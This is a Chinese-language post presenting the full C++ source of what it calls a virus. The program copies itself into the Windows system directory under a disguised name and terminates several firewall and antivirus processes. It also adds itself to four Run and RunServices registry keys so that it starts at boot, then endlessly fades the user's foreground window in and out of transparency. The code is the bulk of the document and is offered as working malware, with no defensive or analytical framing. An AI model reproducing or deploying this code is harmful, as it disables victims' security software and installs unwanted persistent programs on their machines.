VC++ 关闭防火墙，写入注册表

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run启动相，实现开机自运行。病毒表现为是使用SetLayeredWindowAttributes函数，使当前窗口变为透明。

程序运行先关闭防火墙，写入注册表，再用LoadLibrary和GetProcAddress确定SetLayeredWindowAttributes函数位置，再用GetForegroundWindow得到当前窗口句柄，使其透明。

透明.cpp程序如下

#include "stdafx.h"

#include <winuser.h>

#include <windows.h>

#include <shellapi.h>

#include <tlhelp32.h>

#pragma comment(lib, "User32.lib")

 

unsigned char level;

char buffer[255];

char syspath[100];

char exefile[100];

int err;

HKEY regkey;

HANDLE hMutex;

 

typedef DWORD (WINAPI *PFUNC)(HWND,DWORD,BYTE,DWORD);

bool instr(char* a,char* b)

{

if (strlen(a)<strlen(b)){return false;}

unsigned int i,j;

bool r=false;

for (i=0;i<strlen(a)-strlen(b)+1;i++)

{

if ((a[i]==b[0])||(a[i]==b[0]+32)||(a[i]==b[0]-32))

{

r=true;

for (j=i;j-i<strlen(b);j++)

{

if ((a[j]!=b[j-i])&&(a[j]!=b[j-i]+32)&&(a[j]!=b[j-i]-32)){r=false;break;}

}

}

}

return r;

}

 

void KillProc(bool opt)

{

HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

 

PROCESSENTRY32* info=new PROCESSENTRY32;

    info->dwSize=sizeof(PROCESSENTRY32);

if(Process32First(handle,info))

{

if(GetLastError()!=ERROR_NO_MORE_FILES )

{

if (opt)

{

if (instr(info->szExeFile,"wmiexe.exe"))

{

HANDLE h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

else

{

if (instr(info->szExeFile,"PFWMAIN.EXE")||

instr(info->szExeFile,"RAVMON.EXE")||

instr(info->szExeFile,"RAVTIMER.EXE")||

instr(info->szExeFile,"RAVSERVICE.EXE")||

instr(info->szExeFile,"CCENTER.EXE"))

{

HANDLE h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

 

while(Process32Next(handle,info)!=FALSE)

{

if (opt)

{

if (instr(info->szExeFile,"wmiexe.exe"))

{

HANDLE h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

else

{

if (instr(info->szExeFile,"PFWMAIN.EXE")||

instr(info->szExeFile,"RAVMON.EXE")||

instr(info->szExeFile,"RAVTIMER.EXE")||

instr(info->szExeFile,"RAVSERVICE.EXE")||

instr(info->szExeFile,"CCENTER.EXE"))

{

HANDLE h=OpenProcess(0,false,info->th32ProcessID);

TerminateProcess(h,0);

}

}

}

}

}

   CloseHandle(handle);

}

 

 

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{

  // TODO: Place code here.

level=255;

int d_level=5;

HWND hwnd;

long win_long;

strset(syspath,0);

strset(exefile,0);

HMODULE module = GetModuleHandle(0); 

GetModuleFileName(module, exefile, sizeof (exefile)); 

 

GetSystemDirectory(syspath,100);

if (!instr(exefile,syspath))

{

strcat(syspath,"\\wmiexe.exe");

while (CopyFile(exefile,syspath,false)==0)

{

err=GetLastError();

if (err==32){KillProc(true);}

Sleep(10);

}

ShellExecute(NULL,"OPEN",syspath,NULL,NULL,1);

Sleep(10);

ExitProcess(0);

}

else

{

hMutex = CreateMutex (NULL, TRUE, "          ");

if (GetLastError () == ERROR_ALREADY_EXISTS){::ExitProcess(0);}

err=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

 

err=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

 

err=RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

 

err=RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices",®key);

err=RegSetValueEx(regkey,"Tiancai",0,REG_SZ,(const unsigned char *)exefile,strlen(exefile));

err=RegCloseKey(regkey);

}

HMODULE m_hDLLUser32=LoadLibrary( "user32" );

PFUNC SetLayeredWindowAttributes =(PFUNC)::GetProcAddress( m_hDLLUser32, "SetLayeredWindowAttributes" );

start:

//hwnd=FindWindow("Shell_TrayWnd",NULL);

hwnd=GetForegroundWindow();

if ((hwnd!=0)&&

(hwnd!=GetDesktopWindow())&&

(hwnd!=FindWindow("Shell_TrayWnd",NULL))&&

(hwnd!=FindWindow("Progman",NULL)))

{

win_long=GetWindowLong(hwnd,GWL_EXSTYLE);

SetWindowLong(hwnd,GWL_EXSTYLE,win_long|0x80000);

SetLayeredWindowAttributes(hwnd, NULL, level, 2);

}

Sleep(1);

if (level>=254){d_level*=(-1);Sleep(1000);}

if (level<=50){d_level*=(-1);}

level+=d_level;

goto start;

return 0;

}